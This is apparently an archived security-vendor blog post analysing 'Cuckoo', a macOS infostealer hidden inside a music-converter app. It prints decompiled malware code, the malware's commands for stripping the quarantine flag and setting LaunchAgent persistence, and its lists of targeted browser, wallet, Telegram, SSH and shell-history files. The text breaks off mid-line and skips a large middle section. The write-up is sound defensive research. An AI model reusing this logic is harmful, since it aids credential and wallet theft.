Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware By Adam Kohler & Christopher Lopez Published: 2024-04-30 · Archived: 2026-04-06 01:57:46 UTC On April 24, 2024, we found a previously undetected malicious Mach-O binary programmed to behave like a cross between spyware and an infostealer. We have named the malware Cuckoo, after the bird that lays its eggs in the nests of other birds and steals the host's resources for the gain of its young.  How We Found Cuckoo The first file we dove into is named DumpMediaSpotifyMusicConverter. It was uploaded to VirusTotal on April 24; it can also be found under the name upd . It's a universal binary that can run on Intel or ARM-based Mac computers. A quick Google search for that application name led us to the website dumpmedia[.]com, which was hosting the application. That website offered multiple apps for converting music from streaming services to MP3 format. We downloaded the DMG for the Spotify version to see if it contained the malicious files.  The downloaded DMG contains an application bundle. Normally, macOS applications instruct the user to drag such apps into the /Applications folder. But in this case, it tells the user to right-click on it and click Open.  https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 1 of 22 When we selected Show Package Contents instead of Open, and then navigated to the macOS folder within the bundle, we found a Mach-O binary called upd . That name raised a red flag because, normally, such binaries have the name of the application.  When we looked at the Resources folder in that bundle, we found another application bundle called DumpMedia Spotify Music Converter. This appears to be what the normal application bundle should be.  Looking into the upd file in the original bundle, we found that it is signed adhoc with no developer ID. This means that Gatekeeper will initially stop the app from running and require the user to manually allow it.  johnlocke@macos-14 ~ % codesign -dvvv /Volumes/DumpMedia\ Spotify\ Music\ Converter\ 3.1.29/DumpMedia Executable=/Volumes/DumpMedia Spotify Music Converter 3.1.29/DumpMedia Spotify Music Converter.app/Co Identifier=upd.upd Format=app bundle with Mach-O universal (x86_64 arm64) CodeDirectory v=20400 size=1536 flags=0x2(adhoc) hashes=38+7 location=embedded Hash type=sha256 size=32 CandidateCDHash sha1=696343119e0a0686072f6a31d0edb29a5b8fd116 CandidateCDHashFull sha1=696343119e0a0686072f6a31d0edb29a5b8fd116 CandidateCDHash sha256=7a45639f768144799d608a4bbabf144fc1e3c016 CandidateCDHashFull sha256=7a45639f768144799d608a4bbabf144fc1e3c016a7d665775c6314a0c71540f1 Hash choices=sha1,sha256 https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 2 of 22 CMSDigest=702fee1d3836cc14102ec2dfbf1e6706c2e359a8e38403d82789ba7d717cfc77 CMSDigestType=2 CDHash=7a45639f768144799d608a4bbabf144fc1e3c016 Signature=adhoc Info.plist entries=24 TeamIdentifier=not set Sealed Resources version=2 rules=13 files=242 Internal requirements count=0 size=12 Running the Application Once we allowed the application to run, we could see from a process monitor that it spawned a bash shell and started to gather host information using the system_profiler command to gather the hardware UUID.  sh -c system_profiler SPHardwareDataType | awk '/Hardware UUIID/{print $(NF)}' The strings for this malware are XOR-encoded; the output of the command above is set up and decoded in this subroutine: 100017f90 08d80150 adr x8, 0x10001ba92 100017f94 1f2003d5 nop 100017f98 000540ad ldp q0, q1, [x8] {data_10001ba92} {data_10001ba92[0x10]} 100017f9c e00700ad stp q0, q1, [sp] {XOREncodedStr} 100017fa0 000541ad ldp q0, q1, [x8, #0x20] {data_10001ba92[0x20]} {data_10001ba92[0x30]} 100017fa4 e00701ad stp q0, q1, [sp, #0x20] {var_50} {var_40} 100017fa8 092140f9 ldr x9, [x8, #0x40] {data_10001ba92[0x40]} {0x67277d29464e2824} 100017fac 6a0e8052 mov w10, #0x73 100017fb0 48db0150 adr x8, data_10001bb19[1] {"neCM1yILp7V3BbMpgfgYYE6KY"} 100017fb4 1f2003d5 nop 100017fb8 e92300f9 str x9, [sp, #0x40] {0x67277d29464e2824} 100017fbc ea030039 strb w10, [sp {XOREncodedStr}] {0x73} First, it loads a pointer to the XOR-encoded string into register x8 . The q registers are used to load the values pointed to by x8 at address 0x10001ba92 and store them on the stack. The value of 0x73 (“s” in ASCII) is moved into x10 and is then later used to replace the first byte of the XOR-encoded string—the first letter of the system_profiler command. The key used to decode the string is at address 0x10001bb19 ; a pointer to this address is loaded into x8 to be used in the decoding portion of this subroutine.  Next, there’s the decoding loop:  100017fdc 2d7dca9b umulh x13, x9, x10 100017fe0 adfd43d3 lsr x13, x13, #0x3 100017fe4 ad7d0b9b mul x13, x13, x11 100017fe8 8e696938 ldrb w14, [x12, x9] {XOREncodedStr} https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 3 of 22 100017fec 0d696d38 ldrbw13, [x8, x13] 100017ff0ad010e4a eor w13, w13, w14 100017ff4 8d692938 strb w13, [x12, x9] {XOREncodedStr} 100017ff8 29050091 add x9, x9, #0x1 100017ffc 08050091 add x8, x8, #0x1 100018000 3f2101f1 cmp x9, #0x48 100018004 c1feff54 b.ne 0x100017fdc The three instructions umulh , lsr , and mul set the value of X13 to 0x0 . This acts as the offset for the key that is used for the decoding. The XOR-encoded string is loaded into register W12 from an offset of the address pointed to by X12+X9 . X9 was already given the value of 0x1 , and the “s” was added previously, so the string starts at the second character. The key pointed to by register X8 is iterated through a loop for the length of the encoded string. Once this string is decoded, it is passed to a function that calls popen()  for execution. The UUID is then saved at the address 0x10002036c for later use.  A call to a similar XOR encoding function is used throughout the binary for all commands that are passed to popen() .  The application then creates a new copy of upd , renames it DumpMediaSpotifyMusicConverter, and places it in a hidden folder in the /Users directory. This is why it sometimes appears as upd and other times as DumpMediaSpotifyMusicConverter. The original upd will then use xattr -d com.apple.quarantine to remove the quarantine flag from itself and from the copy of DumpMediaSpotifyMusicConverter.  sh -c xattr -d com.apple.quarantine "/private/var/folders/bq/v81jjr7d35jcwg0_813491z80000gn/T/AppTran sh -c xattr -d com.apple quarantine "/Users/test/.local-E40EC858-5B4A-5B3F-B81F-161DF17D04F3/DumpMedi Locale Check After the query for the UUID, we observed that Cuckoo checks for the system’s LANG environmental variable. This value is then compared with other locales in an If statement to determine whether the malicious behavior should continue.  100005a2c __builtin_strcpy(dest: &hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, src: "hy_AM;be_BY;kk_KZ;ru_RU;uk 100005a40 XOR_func(&hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, 0x1f) This check is completed by executing the getenv() function and passing the LANG string, which on our systems would return en_US.UTF-8 . This value is then passed to the snprintf() function to “cut” the string to only 5 characters and a trailing “;” for matching purposes.  100005aa4 00b50a30 adr x0, data_10001b145 {"LANG"} 100005aa8 1f2003d5 nop 100005aac a94c0094 bl _getenv https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 4 of 22 100005ab0 e00300f9 str x0, [sp {LanguageENV}] 100005ab4a2b40a50 adr x2, data_10001b14a{"%.5s;"} 100005ab8 1f2003d5 nop 100005abc e0a70191 add x0, sp, #0x69 {localeReturn(en_US;)} 100005ac0 e1008052 mov w1, #0x7 100005ac4 fa4c0094 bl _snprintf Using the format string “%.5s;” results in en_US; . The If statement then uses the strstr() function to search for this result, along with another call to _sem_open() :  if (_sem_open(&_/mtx-%.2 and UUID, 0x200) != -1 && _strstr(&hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, &localeRe The point is that the creators of this malware did not want to infect devices in five countries: Armenia ( hy_AM ) Belarus ( be_BY ) Kazakhstan ( kk_KZ ) Russia ( ru_RU ) Ukraine ( uk_UA ) If there is no match, this binary will open the legitimate SpotifyMusicConverter application.  Creating Persistence Stealers do not typically set persistence; that behavior is more usual in spyware. So it was surprising to see that this malware does.  Each of the strings needed to create and then populate a plist are passed through the XOR function to decode. Once they are decoded, there is a check to see whether ~/Library/LaunchAgents exists. If not, it is created.  100003e20 void _~/Library/LaunchAgents/ 100003e20 _snprintf(&_~/Library/LaunchAgents/, 0x400, "%s/%s") 100003e2c if (_opendir(&_~/Library/LaunchAgents/) != 0) 100003e30 _closedir() 100003e2c else if (*___error() == 2) 100003e50 _mkdir(&_~/Library/LaunchAgents/, 0x1ed) To set itself as a persistent binary, upd first copies itself and then saves itself to a newly created folder in the User's home directory. This is accomplished using the NSGetExecutablePath() function, which returns the path of this binary and creates the path to DumpMediaSpotifyCoverter inside of the ~/.local-UUID path. The fcopyfile() function is then called to copy the binary to this new location.  100003efc __NSGetExecutablePath(&mainExecutablePath, &var_269c) 100003f28 int64_t x0_25 = 0 https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 5 of 22 100003f30 void pathToPlist 100003f30 if (_stat(&var_1640, &pathToPlist) != 0 && _strcmp(&mainExecutablePath, &pathTo_DumpMedi 100003f38 void* var_26b0_2 = &pathTo_DumpMediaSpotifyMusicConverter 100003f50 _snprintf(&pathToPlist, 0x1000, &var_1c0) 100003f64 int64_t x0_28 = _fopen(&var_1640, "w") 100003f68 if (x0_28 != 0) 100003f90 _fwrite(&pathToPlist, 1, _strlen(&pathToPlist), x0_28) 100003f98 _fclose(x0_28) 100003fa4 int64_t fptr - Main Executable = _open(&mainExecutablePath, 0) 100003fb0 int64_t var_26b0_3 = 511 100003fbc int64_t PathToDumpMediaSpotifyMusicConverter = _open(&pathTo_DumpMediaSpotifyMusicCo 100003fd4 _fcopyfile(fptr - Main Executable, PathToDumpMediaSpotifyMusicConverter, 0, 0xf) The application uses launchctl to persistently load a LaunchAgent for a plist from the application.  sh -c launchctl load -w "/Users/test/Library/LaunchAgents/com.dumpmedia.spotifymusicconverter.plist" Looking into the plist, we can see its goal is to run a login script every 60 seconds.  Label com.user.loginscript ProgramArguments /Users/test/.local-E40EC858-5B4A-5B3F-B81F-161DF17D04F3/DumpMediaSpotifyMusicConverter StartInterval 60 Persistence is set up with calls to the XOR function to decode the strings and then snprintf() to replace values in the format strings that create the plist:  100003d28 _memcpy(&var_1c0, "\n= 1) 100012a80 int64_t DirectoryOpen_2 = DirectoryOpen 100012a84 DirectoryOpen = _opendir() 100012a88 if (DirectoryOpen != 0) 100012a90 void* nextDirectory = _readdir() 100012a94 if (nextDirectory != 0) 100012a98 void* x28_1 = nextDirectory 100012b44 void* i 100012b44 do Because Firefox is not Chromium-based, there is a different function to handle the collection of that browser data if Firefox is on the system.  100013288 __builtin_strncpy(dest: &var_88, src: "logins.j", n: 8) 100013294 int32_t var_80 = 0x591f3f 1000132a4 XOR_func(&var_88, 0xc) 1000132b4 int64_t var_98 1000132b4 __builtin_strcpy(dest: &var_98, src: "cookies.sqlite") 1000132cc XOR_func(&var_98, 0xf) 1000132dc int128_t var_b0 1000132dc __builtin_strncpy(dest: &var_b0, src: "formhistory.sqli", n: 0x10) 1000132e8 var_b0:0xf.d = 0x20424 1000132f8 XOR_func(&var_b0, 0x13) 100013308 int64_t var_c0 100013308 __builtin_strcpy(dest: &var_c0, src: "places.sqlite") 100013320 XOR_func(&var_c0, 0xe) 100013330 int128_t var_e0 100013330 __builtin_strncpy(dest: &var_e0, src: "Browsers/%s_%s/%", n: 0x10) 100013338 int16_t var_d0 = 3 As seen throughout this sample, each target file is passed to the XOR function to be decoded and then used for the collection. Interestingly, the malware authors also created a way to avoid collecting files that match .DS_Store from the directories.  1000128a8 int64_t _.DS_Store 1000128a8 __builtin_strcpy(dest: &_.DS_Store, src: ".DS_Stor)") https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 18 of 22 1000128bc XOR_func(&_.DS_Store, 0xa) 1000128ccif (_strcmp(arg2 + 0x15, &_.DS_Store) != 0) Chromium Searches Once it has finished with Firefox, Cuckoo moves on to browsers that are based on Chromium, in a function we named ChromiumQueriesAndWallets() . It uses paths to files that are known to contain important information from Chromium-based browsers.  100012c18 __builtin_strncpy(dest: &var_88, src: "Login Data", n: 8) 100012c24 var_88:7.d = 0x113828 100012c34 XOR_func(&var_88, 0xb) 100012c40 // [Default] b'Web Data' 100012c44 int64_t var_98 100012c44 __builtin_strncpy(dest: &var_98, src: "Web Data", n: 9) 100012c58 XOR_func(&var_98, 9) 100012c68 int64_t var_940 = 0x43223716077e 100012c78 XOR_func(&var_940, 8) 100012c88 int64_t var_a8 100012c88 __builtin_strncpy(dest: &var_a8, src: "Extensions", n: 8) 100012c94 var_a8:7.d = 0x32226 100012ca0 XOR_func(&var_a8, 0xb) 100012cb0 int64_t var_b8 100012cb0 __builtin_strcpy(dest: &var_b8, src: "Local Storage") 100012cc8 XOR_func(&var_b8, 0xe) 100012cd8 int128_t var_e0 100012cd8 __builtin_strcpy(dest: &var_e0, src: "Local Extension Settings") 100012cec XOR_func(&var_e0, 0x19) 100012cfc int128_t var_100 100012cfc __builtin_strcpy(dest: &var_100, src: "Sync Extension Settings") 100012d10 XOR_func(&var_100, 0x18) 100012d20 int64_t var_110 100012d20 __builtin_strncpy(dest: &var_110, src: "IndexedDB", n: 8) 100012d24 int16_t var_108 = 0xe 100012d30 XOR_func(&var_110, 0xa) Specific extensions for known wallets are also targeted:  100012df8 while (i_1 != 32) 100012e0c int128_t var_780 100012e0c __builtin_strncpy(dest: &var_780, src: "hnfanknocfeofbddgcijnmhnfnkdnaad", n: 0x21) 100012e1c XOR_func(&var_780, 0x21) 100012e2c int128_t var_7b0 100012e2c __builtin_strncpy(dest: &var_7b0, src: "aiifbnbfobpmeekipheeijimdpnlpgpp", n: 0x21) 100012e40 XOR_func(&var_7b0, 0x21) https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 19 of 22 100012e50 int128_t var_7e0 100012e50__builtin_strncpy(dest: &var_7e0, src: "hmeobnfnfcmdkdcmlblgagmfpfboieaf", n: 0x21) 100012e64 XOR_func(&var_7e0, 0x21) 100012e74 int128_t var_810 100012e74 __builtin_strncpy(dest: &var_810, src: "bifidjkcdpgfnlbcjpdkdcnbiooooblg", n: 0x21) 100012e88 XOR_func(&var_810, 0x21) All targets created are checked using the stat() function to see if they exist using a function we renamed fileExists(): 100018aec BOOL fileExists(int64_t filename) 100018b04 void buffer 100018b04 char x8 100018b04 if (_stat(filename, &buffer) == 0) 100018b04 x8 = 1 100018b04 else 100018b04 x8 = 0 Filezilla() Paths to files that are known for storing FileZilla information are used to create targets for collection.  100013ad4 __builtin_strncpy(dest: &var_50, src: "recentservers.xm", n: 0x10) 100013adc int16_t var_40 = 0x1c 100013aec XOR_func(&var_50, 0x12) 100013afc int128_t var_60 100013afc __builtin_strcpy(dest: &var_60, src: "sitemanager.xml") 100013b0c XOR_func(&var_60, 0x10) 100013b10 char var_524 = 0 100013b1c int32_t $HOME = '~!(\x06' 100013b28 XOR_func(&$HOME, 5) 100013b38 int128_t var_80 100013b38 __builtin_strcpy(dest: &var_80, src: "%s/.config/filezilla/%s") 100013b4c XOR_func(&var_80, 0x18) 100013b5c int128_t var_a0 100013b5c __builtin_strncpy(dest: &var_a0, src: "FTP/FileZilla/%s", n: 0x11) 100013b6c XOR_func(&var_a0, 0x11) 100013b74 int64_t x0_6 = _getenv(&$HOME) Steam() Same thing for files known for storing information for Steam, Discord, and Telegram:  https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 20 of 22 100013c74 __builtin_strcpy(dest: &var_78, src: "loginusers.vdf") 100013c88XOR_func(&var_78, 0xf) 100013c94 // [Default] b'config.vdf' 100013c98 int64_t var_88 100013c98 __builtin_strncpy(dest: &var_88, src: "config.v", n: 8) 100013ca4 var_88:7.d = 0x16283f 100013cb4 XOR_func(&var_88, 0xb) 100013cc4 int64_t var_98 100013cc4 __builtin_strcpy(dest: &var_98, src: "Steam/config") 100013cdc XOR_func(&var_98, 0xd) 100013cec int128_t var_c0 100013cec __builtin_strcpy(dest: &var_c0, src: "Library/Application Support") 100013d00 XOR_func(&var_c0, 0x1c) 1000146c0 XOR_func(&HOME, 5) 1000146d0 int128_t DiscordLocalStoragePath 1000146d0 __builtin_strcpy(dest: &DiscordLocalStoragePath, src: "%s/Library/Application Support/ 1000146ec XOR_func(&DiscordLocalStoragePath, 0x35) 1000146f8 int64_t var_2c0 = _getenv(&HOME) 10001470c void DirectoryOpen 10001470c _snprintf(&DirectoryOpen, 0x200, &DiscordLocalStoragePath) 10001471c int128_t DiscordLocalStorage 10001471c __builtin_strcpy(dest: &DiscordLocalStorage, src: "Discord/Local Storage") 100014734 XOR_func(&DiscordLocalStorage, 0x16) 100014738 int128_t* var_2b0 = &DiscordLocalStorage 100014738 void* var_2a8 = &DirectoryOpen 100014758 int64_t x0_7 = openDir_readDir(DirectoryOpen: &DirectoryOpen, "*", avoid_DS_Store, &va 10001492c XOR_func(&HOME, 5) 10001493c int64_t Telegram 10001493c __builtin_strncpy(dest: &Telegram, src: "Telegram", n: 9) 100014950 XOR_func(&Telegram, 9) 100014960 int128_t Telegram_tdata 100014960 __builtin_strcpy(dest: &Telegram_tdata, src: "%s/Library/Application Support/Telegram 10001497c XOR_func(&Telegram_tdata, 0x36) 100014988 int64_t var_4b0 = _getenv(&HOME) 10001499c void DirectoryOpen 10001499c _snprintf(&DirectoryOpen, 0x400, &Telegram_tdata) 1000149a0 int64_t* var_4a0 = &Telegram 1000149a0 void* var_498 = &DirectoryOpen 1000149c0 int64_t x0_7 = openDir_readDir(DirectoryOpen: &DirectoryOpen, "*", TelegramSessions, & wallets_and_coins() Several known wallets are queried and listed below. Each of these paths is then passed to the same read and open functions discussed above.  Wallets/Ethereum https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 21 of 22 Wallets/Electrum-LTC Wallets/ElectronCash Wallets/Monero Wallets/Jaxx Wallets/Guarda Wallets/atomic Wallets/BitPay Wallets/MyMonero Wallets/Coinomi Wallets/Daedalus Wallets/Wasabi Wallets/Blockstream Exodus Ledger Live Wallets/trezor ZSH history and SSH We also observed zsh history information and queries to the .ssh folder for collection.   100014a7c __builtin_strcpy(dest: &_%s/.zsh_history, src: "%s/.zsh_history") 100014a88 XOR_func(&_%s/.zsh_history, 0x10) 100014a98 int128_t zsh_history.txt 100014a98 __builtin_strcpy(dest: &zsh_history.txt, src: "zsh_history.txt") 100014aa4 XOR_func(&zsh_history.txt, 0x10) 100014aac int64_t x0_6 = _getenv(&HOME) 100014ab4 int64_t var_4a0 = x0_6 100014ac8 void DirectoryOpen 100014ac8 _snprintf(&DirectoryOpen, 0x400, &_%s/.ssh) 100014acc int32_t* var_490 = &SSH 100014acc void* var_488 = &DirectoryOpen 100014aec openDir_readDir(DirectoryOpen: &DirectoryOpen, "*", avoid_DS_Store, &var_490, 0x3e7) Kandji is now Iru. This article was originally published under the Kandji brand. Source: https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware Page 22 of 22